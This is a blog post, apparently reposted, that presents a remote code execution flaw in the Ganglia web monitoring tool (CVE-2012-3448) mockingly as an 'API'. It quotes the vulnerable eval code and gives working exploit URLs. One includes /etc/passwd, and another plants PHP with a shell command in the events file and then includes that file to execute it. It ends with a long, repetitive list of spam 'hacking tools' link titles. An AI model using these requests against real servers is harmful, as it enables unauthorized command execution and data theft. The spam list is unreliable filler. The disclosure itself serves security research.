Pages

Sunday, August 30, 2020

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448

More information


  1. How To Install Pentest Tools In Ubuntu
  2. Hacking Tools For Windows
  3. Hack Tools For Ubuntu
  4. Free Pentest Tools For Windows
  5. Hack Rom Tools
  6. Hacking Tools Online
  7. Hack App
  8. Hacker Security Tools
  9. Hacking Tools Windows 10
  10. Pentest Tools Bluekeep
  11. Hacking Tools Online
  12. Hacking Tools Windows 10
  13. Pentest Tools Free
  14. Hacker Tools Github
  15. Hacking Tools 2019
  16. Pentest Tools Port Scanner
  17. Hacking Tools For Beginners
  18. Hacking Tools 2020
  19. Pentest Tools Port Scanner
  20. Github Hacking Tools
  21. Hacking Tools 2019
  22. Hacking Tools For Games
  23. Hackrf Tools
  24. Pentest Tools For Ubuntu
  25. Best Hacking Tools 2019
  26. Pentest Tools Linux
  27. Hack Tools For Pc
  28. Hacker Tools Hardware
  29. Hacking Apps
  30. Hacker Tool Kit
  31. Pentest Tools Android
  32. How To Install Pentest Tools In Ubuntu
  33. Hack Tools
  34. Hacker Tools 2020
  35. How To Install Pentest Tools In Ubuntu
  36. Hack And Tools
  37. Hacking Tools For Windows 7
  38. Hacker Tools Github
  39. Pentest Tools
  40. Pentest Tools Free
  41. Pentest Tools Bluekeep
  42. Hacking Tools Free Download
  43. What Are Hacking Tools
  44. Pentest Tools Alternative
  45. How To Make Hacking Tools
  46. Pentest Tools Apk
  47. Hacking Tools For Windows 7
  48. Pentest Tools Download
  49. Hacking Tools Github
  50. Free Pentest Tools For Windows
  51. Hacking Tools Github
  52. Hacker Tools 2019
  53. Pentest Tools Download
  54. Hacking Apps
  55. Tools 4 Hack
  56. Hack Tools 2019
  57. Hacker Security Tools
  58. Pentest Tools Windows
  59. Hacking Tools For Kali Linux
  60. Hacker Tools Windows
  61. Hak5 Tools
  62. Hacker Tools For Windows
  63. Hacker Tools Software
  64. How To Hack
  65. Pentest Tools Online
  66. Nsa Hack Tools Download
  67. Install Pentest Tools Ubuntu
  68. Pentest Tools Url Fuzzer
  69. Hacking Tools Usb
  70. Hacking Tools Windows 10
  71. Hack Tools 2019
  72. Nsa Hack Tools Download
  73. Hacker
  74. Pentest Tools Website
  75. Hacking Tools For Windows 7
  76. Hack Tools For Pc
  77. Kik Hack Tools
  78. Hack Website Online Tool
  79. Hacking Tools For Pc
  80. Hack Website Online Tool
  81. Hacker Tools Windows
  82. Hacker
  83. Hack Tools For Pc
  84. Pentest Tools For Ubuntu
  85. Pentest Tools Port Scanner
  86. Hacker Tools 2020
  87. Hacker Tools Github
  88. Pentest Recon Tools
  89. Best Hacking Tools 2019
  90. Bluetooth Hacking Tools Kali
  91. Pentest Tools Linux
  92. Hack Tools
  93. Hacking Tools Windows
  94. Hacking Tools Pc
  95. Pentest Automation Tools
  96. Hacker Techniques Tools And Incident Handling
  97. Android Hack Tools Github
  98. Pentest Tools Kali Linux
  99. Hacker Security Tools
  100. Pentest Tools Subdomain
  101. What Are Hacking Tools
  102. Pentest Tools Tcp Port Scanner
  103. Beginner Hacker Tools
  104. World No 1 Hacker Software
  105. Hacker Hardware Tools
  106. Tools For Hacker
  107. Hacking Tools And Software
  108. Black Hat Hacker Tools
  109. Hackrf Tools
  110. Best Pentesting Tools 2018
  111. Hacker Tools Github
  112. Hacking Tools 2019
  113. Bluetooth Hacking Tools Kali
  114. Hacking Tools For Games
  115. Pentest Tools For Mac
  116. Pentest Tools Github
  117. Kik Hack Tools
  118. Bluetooth Hacking Tools Kali
  119. Hacking Tools Mac
  120. What Is Hacking Tools
  121. Hack Tools
  122. Hack Tools For Mac
  123. Kik Hack Tools
  124. World No 1 Hacker Software
  125. Hacker Tools Free
  126. Hacking Tools For Windows Free Download
  127. Pentest Tools Nmap
  128. Hack App
  129. Github Hacking Tools
  130. Hack Tools
  131. Hack Tools Pc
  132. Hacker Tools 2019
  133. Hacking Tools Pc
  134. Hacking Tools And Software
  135. Pentest Box Tools Download
  136. Hacker Tools Linux
  137. Hack Rom Tools
  138. Pentest Tools Android
  139. Hackers Toolbox
  140. Nsa Hack Tools
  141. Hak5 Tools
  142. Hack Tool Apk No Root
  143. Blackhat Hacker Tools
  144. Hacker Tool Kit
  145. Hacking Apps
  146. Install Pentest Tools Ubuntu
  147. Pentest Tools Find Subdomains
  148. Hacking Tools Download
  149. How To Install Pentest Tools In Ubuntu
  150. How To Install Pentest Tools In Ubuntu
  151. What Is Hacking Tools
  152. Hack Tools Online
  153. Pentest Tools List
  154. Hack Tools
  155. Wifi Hacker Tools For Windows
  156. Hack Tools 2019
  157. Install Pentest Tools Ubuntu
  158. Hacker Tools Linux
  159. Pentest Tools Open Source
  160. Hacking Tools Github
  161. Hacker Hardware Tools
  162. Wifi Hacker Tools For Windows
  163. Termux Hacking Tools 2019
  164. Pentest Tools Website Vulnerability
  165. World No 1 Hacker Software
  166. New Hack Tools
  167. Hacking Tools Usb
  168. Pentest Tools Windows
  169. Hacker Tools Free Download
  170. Pentest Tools List
  171. Pentest Tools Online
  172. Beginner Hacker Tools

No comments:

Post a Comment